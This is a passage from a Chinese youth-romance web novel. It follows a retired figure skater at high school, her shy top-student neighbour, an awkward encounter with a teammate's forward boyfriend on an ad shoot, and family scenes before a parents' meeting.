卢俜认为不能大意,有时候摔到筋骨,当下看不出来,但是第二天起床后就很严重。他俯身看她的膝盖,辨认伤势是否严重,突然有东西按在他的脑袋上。齐恩的手,俏皮地揉了揉。
“这可是你自己送到我手上的。”
齐恩在他生气之前及时撤手。
卢俜尴尬地看了眼司机,对方早就见怪不怪。他无法,紧靠着车窗边,抱着书包生了闷气。
“我摸一下也要生气,又不是没摸过。”齐恩说,“我难过呀,你安慰安慰我不行吗?”
“用我的头发吗?”
卢俜瞬间垮了脸色。
生气了!生气了!小猫生气了!齐恩不得不哄他:“行了,下次当着别人的面就不摸了。”
“不当着外人的面。”
卢俜闷闷地说。
“也不行。”
到了学校,卢俜先去政教处送完表格,又碰到医务室出来的齐恩,她的肚子正咕咕作响。
齐恩演技大爆发:“卢俜,你饿了怎么……”
一回生二回熟,他抢白:“不是我!不是!”
两人在周围同学们分外不解的目光中沉默。
卢俜觉得丢脸极了,好在齐恩大手一挥放过了他。中午的饭点错过,食堂里早就没东西吃,两个饥肠辘辘的学生只能在小卖部应付一顿。
卢俜照样吃三明治,齐恩则买了全麦面包。
“随便垫吧垫吧。”她撕开面包袋子。
卢俜:“教练让你吃点有营养的。”
“你怎么比我还听仇指导的话?”
“
……有科学依据,本来训练的消耗就大。”
“刷题消耗也大,你怎么就吃个三明治?”
卢俜一时竟然难以反驳。
齐恩很快又怼过来。
“难怪你这么瘦。”
“……别说我瘦。”
“就说,就说。”
卢俜张嘴又闭嘴。
“……幼稚。”
“好好好,我幼稚。幼稚的邻居打算请成熟的好学生放学后去吃点有营养的东西,成吗?”
卢俜紧抿着唇,齐恩又问一遍,他小声说成。
下午的班会,刘彩讲了期末考试的具体时间,还强调这次考试的重要性,高二最后一次了,下次就是九月联考,复习节奏需要更加紧促。已经是准高三生,假期补课自然是必不可少,于是将近两个月的暑假也被压缩到短短两周。
“还有一件事,咱学校的补课属于自愿的啊,期末考试之前,学校要求以班级为单位召开动员大会,届时要求学生和学生家长都在场,签署假期留校的协议,顺便聊聊志愿……”
“意思就是开家长会呗。“有人接话。
“这可是学校明文规定的啊,别怨我。”刘彩干脆放下手头的文件,“总之就是要补课,七月补到八月中旬,八月底再提前一周返校。这高三的传统艺能了,有什么好大惊小怪的?”
“彩老师你说的轻巧!”女生们抱怨,“天天上课,不是你上就是我上,上他爸了个根!”
“对啊,什么不等式,方程式,我他爸的可是女士!女士们就应该得到充分的休息!”
“男士们也要求休息!”男生们振臂高呼。
“无论男士女士,我们可是未来的学士啊!”
“有点志气好不好!”刘彩冷笑,“学士不就是本科么,难道一个本科就把你们喂饱了?”
群情激愤的有、哄堂大笑的也有。
一时间,班内外充满了快活的空气。
刘彩正色:“总之,就是期末考之前有个家长会,把爸妈喊过来,探讨一下你们状态怎样、未来发展方向在哪里。不要怕说,不要怕批评,快高三了还这么点胆量,自己吓自己。”
“知道啦———”
孩子们怨声载道。
“要请家长啊。”齐恩若有所思地停笔。
谌俞最先垮了个批脸:“我要完蛋了。”
“你考好点儿不就行了吗?”高玟说,“知道你爹那个性格,还总是考那么点分数。”
“那我能咋办,我不考清北是因为我不想吗?而且我不光要学,还要早训晚训啊!”
袁礼米指正:“人家齐恩也不比你练得少啊,人家照样学得好,这次总分都上五百了。”
“可别。”齐恩抬手,“我这次训练也就是撑场面的,以后不会了,马上要艺考集训了。”
“什么时候啊?”高玟问。
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“七月中旬就去集训营。”
“啊———”高玟抱住她,“补药啊老弟,不要带走齐恩,不要带走齐恩,带走谌俞吧!”
“怎么就要带走我了呢?”谌俞哭笑不得,“估计训到什么时候啊,国庆能回来吗?”
“肯定要回来啊。十一回来找你们玩嘛。”
袁礼米:“那我把文科的复习重点发你。”
“就靠你了小厘米!”齐恩唏嘘,“谌俞你就别想弯道超车了,等我集训完还是考拉你。”
“看你得瑟的!”谌俞哼了一声,“我爹给我报了四个培优班,等着吧,我一定能逆袭!”
“四个班……”高玟惊呆了,“本来白天就要上课,晚上还培优班,您忙得过来吗?”
“唉,时间就像腹肌,绷一绷总是会有的。”谌俞拍了拍自己的腹部,“拼搏一年!”
高玟说:“拼搏一年我要上蓝翔技校!”
齐恩跟风:“拼搏一年我要上新东方!”
袁礼米:“拼搏一年我要上毛坦厂!”
“复读不可取啊!”刘彩不知何时从后排冒出,“袁礼米,你这个级别都想着复读了?”
“……呃,老师我是开玩笑的。”袁礼米吓得躲在齐恩身后,“我再也不玩抽象了。”
班会过后,大家各自收拾书包回家。
只有张其薪还在座位上一动不动。
几人聊天张其薪也没怎么搭腔,于是高玟疑惑地拍了拍他肩膀:“你怎么了,张司长?”
张其薪脸色很阴沉,整个人肩膀都抖了一下,随后勉强挤出一丝笑容:“……没事。”
齐恩和袁礼米也面面相觑。
“先走了。”他拎包离开。
“他怎么了?”齐恩心想,不至于吧。
应该不是生她那一晚的气。
“这还用说么!肯定是请家长!”谌俞龇牙,“齐恩你不知道,张其薪他爸超可怕啊喂!”
“哦哦!”高玟这才明白过来,“我都忘了这一茬了,难怪他一副恐怖片主角的表情!”
“……有这么吓人?”
就连袁礼米也不自觉压低了声线。
“真的,很吓人。你见到就知道了。”
想起张其薪的家世,齐恩再次忍不住感慨。
这还真是言情
小说男主的标配,高干子弟。
接下来岂不是要写他那个古板的爸、冷漠的妈、破碎的他,还有一个爱而不得的白月光?
越想越离谱,齐恩真该少看点儿网络小说了。她背起包出了班门,卢俜在书吧边等她。
见她过来,他把随手翻看的书籍归还。
“什么书啊?”齐恩拦住他,“我看看。”
“建春的新书《金牌律师》。”
“我上周刚看完《在上海》!”
卢俜回想:“青果书店是有卖建春的书。”
“那就再去买点精神食粮吧,顺便去青年大街解决晚饭。”齐恩很快就做好了行程规划。
从学校到青年大街,可以乘地铁,也可以骑车出行。如果去街东的书店,骑单车更方便。
齐恩和卢俜一人扫了一辆共享单车。齐恩有周卡,让卢俜也办一个,卢俜说平时用不上。
“我每天都是骑车到地铁站,再坐到粤东。”
“你训练的时间应该……比上学的时间晚?”
“谁说的?我一般天没亮就出门晨跑了。”
原来作息有差,难怪他最近总见不到她。
“你这么问,我只能想到了一种可能。”
齐恩故意把车骑到他旁边并道而行。
“你每天早上偷看我屋亮没亮灯是吧?”
卢俜差点把车骑歪:“……正好看到而已。”
齐恩低笑起来,卢俜太心虚,把车骑快了些。
等绿灯,齐恩的笑声和她的车头一齐追上来。
“卢俜。”她直白地打量他,语气很认真。
“我发现你有点闷骚啊。”
师姐师妹
翌日上午十点,齐恩落地沪城虹桥机场。
王玉脸色很臭,站在接机的队伍之中。
“诶,王玉,你终于舍得来了。”郑飞燕揶揄地道,“不是说死也不会见齐恩的吗?”
“……要你们管。”王玉把鸭舌帽下压,纯黑的瞳孔比常人要大,冷得像冰,瞪人时杀伤力尤重。即使在同一个队里,抬头不见低头见,郑飞燕还是有点怵王玉,这孩子太吓人了。
郑飞燕笑说她好凶啊,又往身后周诠怀里躲。周诠是她男朋友,去年开始交往,官二代。两人也是机缘巧合相识,并且公开了恋爱关系。
齐恩退役半年,王玉在成年组还未崭露头角,年仅二十二岁的郑飞燕是国家队的主力选手,也是各大女单赛事中金牌的最有力争夺者。
郑飞燕有一双灵动的荔枝眼,神似某个九十年代港风女星,因此早起被媒体称为小谁谁谁,她也是滑出名气后才摆脱这个头衔。王玉和郑飞燕关系不好,不过王玉和所有人关系都差。
但齐恩和郑飞燕处得不错,对于郑飞燕来说,齐恩还是个学生妹,说话倒是挺有意思。
周诠捏着郑飞燕的脸,温笑着说一声乖。
周诠年方二十二,整个人玉树临风,浓眉薄唇,鼻梁削高偏顿,是标准的熟男长相。两个人无论从家世还是性格来说,都挺符合对方的期望,也有不少记者称赞他们为金童玉女。
其余的队员也说说笑笑,神情惬意。对于在役的运动员们来说,拍摄广告就相当于小度假,没有赛事的夏季就相当于大假期。虽然也要执行训练计划,但赛程不紧张,大家都很乐意。
“诶,齐恩!”有人挥手。
齐恩拖着行李箱走过来。
大夏天赶行程,齐恩也穿得很清凉,咖啡色吊带和牛仔热裤,及腰的马尾松散地垂在肩上。她摘下墨镜挂在低垂的领口,清丽美艳的脸蛋还是堪称标致,与之相称的是她一贯的笑容。
“好久不见,师哥师姐。”她和一众队友拥抱。轮到郑飞燕,对方夸她又变漂亮了,问她是不是去做美容了,怎么连气色也红润不少。齐恩说可不是么,自从退役后姨妈都准时了。
“这是你说的那个男朋友?”她笑问郑飞燕。
周诠盯着齐恩失了神,被女友提醒才正色。
“你好。”周诠说,“我是燕燕她男朋友。”
“怎么回事啊师姐,他不是上次那个啊?”
郑飞燕也被逗笑,解释道:“齐恩就爱瞎说,你别听她,我们队里最会满嘴跑火车的。”
周诠心想她就是齐恩。电视上当然有见过,这一代家喻户晓的花滑天才,但屏幕里和现实又不太一样。话说她可真漂亮,那样形容也不准确,漂亮最多指皮囊,齐恩是正统的骨相美。
齐恩没多在意他,撒欢儿就去找王玉要抱抱。这死小孩,戴个鸭舌帽就以为她认不出了。
齐恩去捏她的手,王玉说她臭不要脸的。这还用她说?齐恩不仅臭不要脸,还死皮赖脸。
齐恩唱歌儿:“王玉王玉我们喜欢你……”
王玉黑了脸,怒骂她又在网上瞎看些什么。
齐恩委屈死了,问王玉那天为什么不接电话,王玉说不想接。实际上她自己都觉得没面子,大半夜和队友吵架,怒气冲冲出走训练基地,五个小时后,给自己在北京城里徒步迷路了。教练找不着人,想着齐恩和她最亲,让齐恩打电话劝。没想到王玉狠起来连她的电话也挂。
王玉本来一个字都不想提,后来又不甘心地问:“该不会高教练让你打,你才打的吧?”
齐恩心想,她确实通过高教练才知道这件事,王玉看出她的迟疑,气的整个眼眶都红了。
“你给我滚!!!”
啧,真难哄。
跟某人一样。
主办方租了整整两天的场地,齐恩和王玉的拍摄任务都在头一天。齐恩完成得很出色,除了最有难度的3A连跳没复刻。王玉又进步了,这家伙才是后生可畏,真是长江后浪推前浪。
齐恩的路途已经到尽头了。
而王玉的征程才刚开始。
注视着和曾经的自己极为相似的身影,齐恩也出了神。王玉和她,不仅训练习惯大同小异,就连家庭背景也如出一辙。都是单亲家庭,很小在队里生活,每天都练功练得很苦很累。
比起她,王玉的家庭条件差得多,刚开始没补助,奶奶砸锅卖铁才负担得起她的学费,后来教练为她申请到津贴才继续滑下去。再后来到国家队,齐恩这当姐的替教练操了大半个心。
所以王玉当然和她亲。
齐恩想,她不和自己亲还和谁亲?
但也没必要那么轴,对谁都凶巴巴的。
正感慨时光匆匆,身边突然站了一个人,齐恩扭头,发现是周诠,八成是来探郑飞燕的班。
“咖啡,你喝吗?”周诠递给她牛皮纸袋。
齐恩没和他客气:“谢谢啊,跟着飞燕姐混,三天喝九顿,我们这些队员可真有福气。”
“应该的,都是燕燕的队友,以后多关照。”
“我都是前队友了。”齐恩没所谓地自嘲,“你应该让王玉她们多关照关照她。”
“王玉?那个短头发的小孩吗?她是今年才进成年组?之前在冰坛怎么没听过这号人物?”
大概因为王玉给郑飞燕摆了臭脸,连带周诠对她印象也不好。齐恩不喜欢他找话题的方式。
“那你很快就会听过这号人物。”她抬起下巴高傲地道,“这是我家的小孩,很厉害的。”
“你也刚满十九吧,自己都是个孩子呢。”
“在运动赛场上,我们不以年龄划分这个。”齐恩说,“我赛龄已经很久了,够格带她。”
齐恩对年长者并无多少敬重,尤其对方言语间轻视了王玉。她没打算和周诠闲聊,他却自说自话:“我弟弟和你一个年龄,也读高二。”
“挺巧。”齐恩应付,“要高考倒计时了。”
“是啊,他是那种学习不用别人操心的孩子。你呢?刚复学,学校生活什么的都习惯吗?”
“我么?”齐恩指了指自己,“你问我?”
他和她熟吗?怎么一点儿边界感也没有?
“你好像对我不是特别待见啊。”周诠微笑,“我就是随便找个话聊,顺便等燕燕下班。”
“那你继续等吧。”
齐恩往别处走去。
周诠却突然伸手拦住了齐恩。
“干嘛?”她瞬间冷了脸色。
“都是燕燕的朋友,加个联系方式呗。”
齐恩抱着臂:“为什么?不要了吧。”
“我没有别的意思,就是认识认识。”
“那你加了除我以外的队友吗?”
周诠收敛笑意:“……没有。”
“那为什么加我?我漂亮吗?”
“你很优秀。”周诠解释。
“优秀也和你没关系吧。”
对方比她年长五岁,又是师姐的男朋友,齐恩不好多说什么,如果是同龄人她早就翻脸了。
这时候才感受到,尊重女性是多么值得学习的课题,卢俜在这一点就做得很好,谌俞也是,最起码张其薪也不赖。一些年长男性,从所谓哥哥到叔叔,明明应该更成熟,却反而浸淫在社会的大染缸里,变得越来越不懂尊重女性。
是男人到了一定岁数就会变坏。
还是本来就很坏的男生长大了。
齐恩分不清楚。
唯一清楚的是。
她要远离这样的人。
正好王玉拍摄完了,齐恩立刻上前给她递水,再不理会身后的周诠。她确实对他观感不好,也认为不会和所谓“师姐的男友”再打交道。
没想到次日还是在酒店大堂见到了。
郑飞燕跟两位师妹打招呼:“本来想着拍完广告在沪城多玩两天的,结果周诠说他弟弟有事要处理,所以临时退房了……你们这是去哪儿啊?前滩太古里?周诠可以开车捎你们。”
“我们叫车。”王玉言简意赅。
“干嘛浪费那个车钱呀,在沪城这地方打车也不便宜。”郑飞燕亲热地挽了挽齐恩的胳膊,“再说你好久没陪我逛街了,师妹,咱们上次逛街是什么时候来着?去年?还是前年?”
“没事,王玉,有车白不坐?”
齐恩和王玉上了周诠的车。
隔着后视镜,和主驾驶座上的男人视线撞上,齐恩没有迟疑,抬起漆黑的眼睫和周诠对峙。
周诠笑道:“好像不愿意坐我的车。你们女生肯定都喜欢开超跑的,不喜欢我的破大G。”
“我喜欢开黄包车的。”齐恩随口胡诌。
郑飞燕总能被小师妹逗得花枝乱颤。
王玉指着窗外:“你说的是那种?”
现在都是沪城独特的旅游项目了。
“是的。”齐恩挺感兴趣,“待会儿租一辆,我在前面吭哧吭哧拉,你在后面玩手机。”
王玉无语了,张了张嘴,又闭上,又张嘴。
“滚。”
齐恩只和师姐师妹说话,全程都不搭理周诠。周诠自讨没趣,只能当司机。到商场大家各逛各的,王玉被齐恩盯着,老老实实买了不少衣服,最后两只手都提不下,找个茶餐厅歇脚。
“吃完中饭看电影吧。”齐恩打开订票软件,“我看最近有个评分挺高的警匪片。”
“随便。”王玉向来齐恩说什么就是什么。
当然,闹脾气的时候除外。
昨晚齐恩和王玉也聊了很多,齐恩说起自己这半年在榕城的新生活,王玉扣着手指不应声。
后来实在没话可聊了,两人共躺在
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一张床上。
面对着苍白的天花板。
王玉默默流下了眼泪。
人都需要一定时间想通,齐恩自己也不例外,更别提爱她的人,她不怪王玉这半年的冷漠。
“你有想过以后做什么吗?”
“老实说我每一天都在想。”
“自从决定退役后的每一天,我都在想,除了滑冰到底还有什么可以做?我做了很多尝试,大多为了逃避。其实吧,我心里早就有答案,回去读高中。我爸说支持我一切决定,但这就是最好的决定了。毕竟人生还有那么漫长。”
“慢慢找吧,总能找到下一个喜欢的事。”
“说得轻巧,要是一直找不到呢?”王玉
问。
“那就这样呗,看着你滑我也挺开心的。”
王玉翻了个身:“你唯独没有考虑过我,你走了我该怎么办,以后的承诺谁来兑现。说好了要站在同一个领奖台上,你还是当了逃兵。”
齐恩从身后抱住她。
“那你也会理解我的。”
“对吧?”齐恩轻声问。
王玉懵懂而迟钝地点头。
《钢筋城市》是一部精彩的动作片,以偶然发现碎尸的大学生陈绍籍的视角展开。齐恩还留意一个配角,方域警官,虽然镜头不多,但胜在演绎出彩,看了演员表,并不熟悉的名字。
电影在黄昏时分散场了。
齐恩和王玉走到广场外。
王玉评价:“他长得好港式,有点混血范。”
“你说方域?”齐恩查了一下,“小演员。”
“你既然学的表演,将来准备上大荧幕?”
“也不一定,当制片人的可能性更大。”
“想那么远干嘛。”齐恩笑笑,“说不定好学校没考上,又收拾收拾复读当文化生了。”
“……干嘛说丧气话。”王玉平静地,“如果你以后不能出人头地,那我就去死算了。”
齐恩被她这话吓到了:“你瞎说什么?!”
“我接受不了别人遗忘你,就这么简单。”
“那总是要被忘记的啊。忘记就是忘记,还说遗忘,搞的那么文艺。再说哪有人不被忘记的,就是伟人也会被人遗忘,不然怎么天天有人呼吁铭记谁谁,你也是没事想太多了。”
王玉面色一沉不说话了。
齐恩接到郑师姐的电话。
“在香格里拉?好的,我和王玉这就过来。”
王玉问:“谁请吃饭,郑飞燕男朋友?”
齐恩说是,郑飞燕和周诠请队员们和拍摄团队一起吃饭。这就属于应酬环节了,虽然不想,但必须得去,也算是给广告商一个面子。两人到了随便吃点,齐恩晚上还有回榕城的航班。
“你也是今晚走?”郑飞燕指了指周诠,“他也是今晚的航班,要不要顺路捎你去机场?”
周诠依旧是那副风流倜傥的派头,侧了侧身,朝齐恩微笑不语,似乎在等她拒绝与否。
齐恩推辞:“我还有行李要拿。”
“他也正好要回酒店一趟。”
话都说到这个份上了,齐恩也不再推拒。先把王玉送回酒店,齐恩收拾了行李。再次到酒店大堂的时候,周诠正在外面边抽烟边等,齐恩走过去问:“你开车去机场?车就放那儿?”
“会有人帮忙开回去的。”周诠回答。
“好吧。”齐恩抬下巴,“上车吧。”
齐恩坐了后座,周诠知道她在想什么,无奈地摇头。一路无话,到了虹桥机场,齐恩办行李托运,发现自己的航班号正好和周诠对上。
“你也是回榕城?”她脸色稍微好些了。
“是啊,不忙的时候在那边住。”周诠问,“你在榕城读书?那学习压力不小。”
“还好吧,都是全国一卷,华南特色了。”齐恩想了想,还是说,“谢谢你捎我一程。”
“这有什么好谢的?”周诠的视线在她脸上多停留两秒,沉吟片刻开口,“你讨厌我吧?”
“就是觉得有点……”齐恩委婉地道。
“不熟,看你怎么能理解。”
“正常,因为你很美,又很年轻,一表人才。以后社会上像我这种的男人比比皆是。”
齐恩没想到他那么直白。
但她反应力很快,立刻反击道:“那我有没有说过,你这幅说教的态度也很让人讨厌?一见面就拿长辈的身份摆架子,做的又不全是长辈的事,一点分寸感都没有。你的意思是社会上的男人都会喜欢我这一款,就算有对象也会忍不住纠缠我?那太可怕了,你在辱骂我吗?”
周诠愣住,随即脸上挂不住笑容。
“我是小孩,所以容易说错话。”
齐恩顽劣可爱地朝他笑了笑。
“你可千万别和我见谅啊。”
大人小孩
不是你可千万和我见谅啊。
是你可千万“别”和我见谅。
意思就是你别放过我,要生气尽管生,被冒犯到也是你自讨苦吃,齐恩是绝对不会道歉的。
“是你千万别和我较真才对。”周诠苦笑,“我知道了,对不起,这两天是我冒犯。为表歉意,我帮你升个舱吧,你不是经济舱吗?”
“我爱坐经济舱,经济人坐经济舱。”
齐恩压根不想欠周诠的人情。
航程一个半小时,到家不过晚上十一点。
齐恩次日还要去广城,她把动车票给买了。
一回到家,她感到舟车劳顿,这些天的训练让身心都很疲惫,只想躺着好好刷会儿手机。
高玟又更新了,是在写作业的书桌上挠小猫,可恶,这么幸福,齐恩心想属于我的小猫呢?
正想着,小猫不请自来。
卢俜的消息:“在家?”
“刚到,十点多下的飞机。”
“嗯,看到你家的灯亮了。”
齐恩嘴角上扬:“怎么又偷窥我?”
“……没有偷窥,有东西要给你。”
“我猜猜,该不会是你的小猫脑袋?”
“想多了。”卢俜问,“方便吗?”
“方便!方便面都没有我方便!”
半分钟后,齐恩家的门被敲响。
卢俜一手抱着牛皮纸袋,另一只手还维持着敲门的姿态,没想到齐恩下一秒就开门了,简直就是守在门口听他的动静!卢俜猝不及防地退后两步,那模样,像平白无故受惊的小猫。
“……这是给你的生日礼物。”
齐恩闻到了浓郁的草药味儿。
“中药?”她低头翻看纸袋。
“药贴。”卢俜煞有其事,“你的膝关节和脚踝本来就有旧伤,七月份是三伏天,你天天在空调底下吹,又爱喝冰的,热气。”他又拿出一袋凉茶,“这个每天泡一点喝,很有用。”
“这……是……”齐恩细瞧。
包装上是手写的“祛湿茶”。
“我真服了你们广东人。”
卢俜不明所以地瞧她。
“进来。”齐恩侧身,“站在门口不热?”
卢俜说不用,齐恩笑问难不成还要我请你。
卢俜只好进屋,齐恩递给他没拆过的拖鞋。
他意识到自己是这双拖鞋的第一个使用者。
齐恩踮起脚尖,去够橱柜上的陶瓷茶壶:“这个东西我万年不用了,没想到今天能用上。”
她双手托着壶身,没想到壶盖脱落了下来。
齐恩“诶哟”了一声。
卢俜却眼疾手快接住。
过快的动作,卢俜的前胸贴上她的后背,齐恩诧异地抬头,只看到他脖颈上的青筋,和分外明显的喉结。卢俜喉结滚动了两下,明显很紧张,使他紧张的,不仅仅是易碎的陶瓷壶盖。
齐恩的头发碰到他的手臂,发端是略微刺感,像被小刷子轻轻地扫过。卢俜把茶壶盖子放了回去,老实本分坐在沙发上。本来就局促,这下子更窘迫了,双手双脚都不知该如何摆放。
“你反应力还挺快。”齐恩惊叹。
卢俜嗯了一声,看手机缓解尴尬。
“别看了,你那手机又没有游戏,又没有小视频,有啥好看的,装模作样!”齐恩在厨房里忙活,“快来教教我,这个茶怎么泡?要不要先过水?还是直接用开水泡了就可以喝?”
齐恩不懂这个,到最后变成卢俜泡,她在一边看着。齐恩背靠冰箱,和他分享沪城拍摄广告发生的事情,说到郑师姐的男朋友,她不掩饰嫌恶:“真讨厌这种没有分寸感的大人。”
大人和小孩,似乎没有一个明确的界限。有些年幼的孩子很早就挑起家里的重担,已经够格成为一个大人,而有些大人却活得不明不白,反倒给社会添堵,这一点还不如一个小孩。
卢俜觉得齐恩目前能养活自己,不缺朋友,处事也有原则,某些方面……懂的也比自己多,已经算成熟的人。但言辞上齐恩确实是孩子,和这个年龄段的人一样。卢俜有时候觉得她太幼稚了,真是非常难以应付的一个人,又嚣张蛮横,不过度把握得好,也是一种人格魅力。
齐恩问:“你觉得我们算是小孩还是大人?”
“按年龄来说,满十八周岁就是成年人了。”
“可是,有时候还是想要当小孩。”
卢俜想了想:“这并不冲突。”
水烧开了,咕噜咕噜的声响,牛奶一样浓的水蒸气从烧水壶冒出,把逼仄的厨房弄得朦胧。头顶的白炽灯也柔和了,齐恩去看认真泡茶的卢俜,少年英挺的眉骨鼻梁也映得温柔细腻。
真乖,齐恩心想,他真是一个周正的孩子。
“卢俜,我对你的感情有一点复杂。”
卢俜闻言,先是困惑,随即红从耳尖蔓延开。
“……麻烦你不要说些容易让人误会的话。”
“不是。”齐恩很严肃。
“我想生你。”
卢俜的沉默长达数十秒钟。
他拿起茶壶抬脚往客厅去。
“诶,我是认真的。”齐恩跟在他身后,“
你说你这么乖的小孩,回回考试都是第一,竞赛拿奖拿到手软,喂卢俜,你是不是上小学就不让你妈操什么心啊,从小可爱到大的那种?”
说到家庭,又是卢俜不想提及的话题。
只是,面对齐恩,总会有些例外。
“没有。”卢俜倒茶,“她不在乎。”
“不在乎?不在乎成绩,还是……”
“不在乎我。”卢俜声音很轻。
“她只是……不在乎我。”
能心平气和说出这个事实,其实卢俜已经不在意了。齐恩却是头一次有接不住的话题,哪怕她只是开个玩笑。哪有家长不在乎孩子?不在乎。确实没从卢俜的生活里发现父母的痕迹。
齐恩想到下周一的家长会。
“那你家长会咋办?你妈来吗?”
“她说她不会来。”甚至连一个托辞都没有。
简单一句不会来,否决了一切母爱的可能性。
齐恩斟酌:“那你的继父……”
“他在京城工作,平时不联络。”
齐恩咋舌,小可怜,这是货真价实的小可怜。
哪有人开个家长会连一个家长都凑不出来的。
齐恩打诨:“总不能喊卢佳来吧,哈哈哈。”
卢俜竟然认真回答:“她会捅死我的同学。”
“什么?这也太吓人了吧,好反社会!”
“初中的时候,后爸让她去开我的家长会。”卢俜说,“她这样说过,原话就是这个。”
“她该不会有精神方面的……”
齐恩指了指自己的脑袋。
“没有,她很正常。她只是讨厌我。”
换做任何一个人,都会厌恶他和他妈。
这么多年卢俜早就习惯了。
“好吧。这样看来,没人来也是件好事。”
卢俜认同,他啜饮一口茶水,热度弥漫喉间。
齐恩看他喝得挺香,自己也尝了两口,立刻苦了脸色。“这是什么茶啊?感觉像泔水。”
“茯苓,木棉,薏米,云茶……”卢俜报着。
“行了。”齐恩抬手,“不是真的在问你。”
卢俜确实有些无措,对于他来说,饮凉茶就和吃饭喝汤一样,都是广东地区的习俗而已。
“抱歉,我不知道你不爱喝这个。”卢俜尴尬起身,“你放那儿,我待会儿一起倒掉。”
“那怎么行?这可是你给我泡的。”
齐恩闷了一大杯,“干!”
简直是舍命陪君子,卢俜只好又坐下。
“是我没考虑到,刚喝确实会不习惯……”
“我习惯!我习惯!”齐恩夸张地举杯,“以后我天天泡,泡两壶,喝一壶,倒一壶。”
“……倒也不必。”卢俜嘴角上扬一瞬。
尽管只是微乎其微的弧度。
但至少可以证明他笑过。
其实他还是挺高兴的吧?有她这个朋友。
齐恩如此想着,内心也不自觉雀跃起来。
卢俜看一眼表:“没别的事,我就回去了。”
“也好,慢走慢走,本宫也要眠一眠了。”
卢俜走到门口,齐恩又突然说等一下等一下。
他停住脚步回头看去,齐恩光着脚跳下沙发。
她冲了过来,笑容狡黠,抬臂,伸手向他。
那一瞬间,卢俜其实有预感她要做什么。
他并未产生躲闪的意识。
或许也没有这个必要。
齐恩揉乱了他的头发,揉啊揉,揉啊揉,卢俜心想她揉得也太久了,这次真的有点过分了。他脸色不霁,示意性轻咳一声,齐恩心领神会地收手,朝他展露那月色般皎洁明亮的笑容。
“小猫,我放你一马。”
卢俜离开了她家。
回到自己的居所,卢俜站在漆黑的空间里,齐恩的手触碰的感觉挥之不去。他不自觉地抬手摸了摸发顶,并没有特别的手感,是什么让她如此开心?同时,是什么使自己变得奇怪?
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卢俜逐渐意识到自己在做的事。
他的心跳在不可抑制地放大。
他摸着滚烫的脸颊,后知后觉地想,自己一定是疯了,竟然容忍齐恩做出了这样的举动。
为什么没有拒绝,卢俜有一百万个理由,正常邻居的交往方式不应该像他们这么……亲密。
他坐在客厅里想了一会儿,又去洗了个澡,再回到书桌前已经静下了心。时间紧迫,数奥和化奥、生奥要准备,卢俜的整个暑假也被清北学科营填满,补课对他来说反而是一种浪费。
他把时间倾注在最值得紧迫的东西上。
卢俜已经没有心力去顾及其他了。
.
齐恩次日早上坐动车前往广府。
叶瑞林已在出站口等候多时了。
齐恩也看到叶瑞林,朝他走过来。叶瑞林赶忙伸出手帮她拿行李,齐恩只带了一天的衣服,非常轻便,这让他觉得自己派不上用场。齐恩朝他道谢,又问怎么不是之前的赵叔叔来。
“他现在到市里去了。”叶瑞林回答。
“啊。”齐恩感慨,“那算高升啊。”
“我爹在楼里吗?还是出
去忙了?”
“他在厅里开会,待会有个饭局。”
怕冷场,叶瑞林刻意找了话题:“您在新学校适应得如何?领导一直担心您学习压力大。”
“什么您不您的啊。”齐恩没忍住,笑了。
叶瑞林真是怕自己叫错了称谓。
齐恩一讲,他反倒轻松了不少。
赵秘书是看着齐恩长大的,当然可以连名带姓称呼。叶瑞林不行,一是自己也才二十六七,算不上什么长辈,和齐恩也不亲络;二是他刚来没多久,领导的性子都没摸熟,不敢僭越。
“在学校也就那样吧,不好也不坏,不考试好受些。”齐恩感慨,“一旦考试,我的天呐,文科文科大文科,我这种学渣填满答题卡都跪谢了。叶秘书你不懂的,你是西南政法的。”
“你还知道我的母校啊?”叶瑞林十分讶异。
“当然,我爸和我说过,你读书可厉害了。”
到了地方,齐恩进包厅里和叔叔们打招呼,他们也刚来。有人调侃说你来了我们才敢点菜。
齐恩笑说哪里的事。
悄悄到齐致身后,他正拿着菜单勾选,齐恩猛拍他左肩,结果又闪到右边。敢这么做的人只有闺女一个,齐致呵呵直笑,眼尾细纹都深了些。齐恩环住老爹的肩膀,选自己爱吃的菜。
“诶,齐致见闺女,笑得那不值钱的样儿。”
“哈哈哈,哪里是见闺女,那是见天仙呐。”
“我家恩恩难得回一趟,我不高兴谁高兴?”齐致得瑟极了,“我不宝贝她,你们这些一天到晚喊着要当我闺女干爹的人宝贝她?还有你,老李,我都不想说,笑得贼眉鼠眼的。”
众人大笑。
叔叔们都很关心齐恩,问过她腿脚的旧伤,又问她在学校怎么样。叶瑞林看齐恩什么话都能接上,偶尔还说点金句逗大家一乐。有些笑话是他们那个圈子才懂的,叶瑞林也不明白。
“齐致,你们家闺女不得了啊。”汪伯伯说,“小小年纪又是国家级运动员,又得了这么多奖、挣了那么多钱,还这么会来事儿,这当爹的又坐到这个位置,以后谁家小子敢娶她。”
齐致说找个踏实的就好,最主要是对齐恩好。
齐恩说那不行啊,我要找就找个盘靓条顺的。
小小年纪就挑上男模了。
老一辈们都是乐不可支。
“这小妮子,长得帅不能当饭吃啊。思想觉悟还不够,当爹的要多做一做思想工作啊。”
“要让我爹给我做思想工作,你们今晚的酒局就放过他,让他在家里好好教育教育我!”
“这话说的,行了齐致,你回家陪闺女吧。”
齐致嘴上说那怎么行,心底乐开花了,到傍晚下班就直奔菜市场,买了条鲈鱼烧给齐恩吃。
齐恩吃完午饭就被叶秘书送回家,她写了会儿作业,实在太困,倒头就睡。到晚上七点半,齐致烧好四菜一汤,去卧室门口喊闺女吃饭。
齐恩睡得正香,说了马上起,结果没动静。
齐致只能进去喊她。齐恩的脸蛋埋在被子里,脸颊线条紧致,没什么肉。孩子又瘦了。
齐致坐在床头端详良久,才轻手轻脚离开。
他当然不扰女儿清梦。
……才怪。
齐致再次推门而入,这次声响宛若惊雷。
“我在厨房烧鱼烧得汗流!你还睡!还睡!”
齐恩一下子被他吵醒了。
家长会上
俗话说得好,龙生龙,凤生凤,老鼠的儿子会打洞,齐恩怎样的性格,完全是随了她爹。
“爹,你能对你女儿好点吗?”齐恩嘟囔。
“我对你还不好?”齐致捏了捏她的脸蛋,“给我家孩子瘦成啥样了,不是都退役了吗,怎么还饥一顿饱一顿的?新中国成立是把你忘了?还是改革开放没带上咱们家,没钱让你吃饱了?赶紧给我吃饭,吃完上个称让我看看,要是没到一百一,看我给不给你喂增肥药!”
“那完了。”齐恩躺平,“我就算撑死也就一百零几,你不懂,我拍广告也要控体啊。”
“你没事也娱乐娱乐你爹我。”齐致推着她的肩膀,“别光顾着娱乐大众了,行吗?”
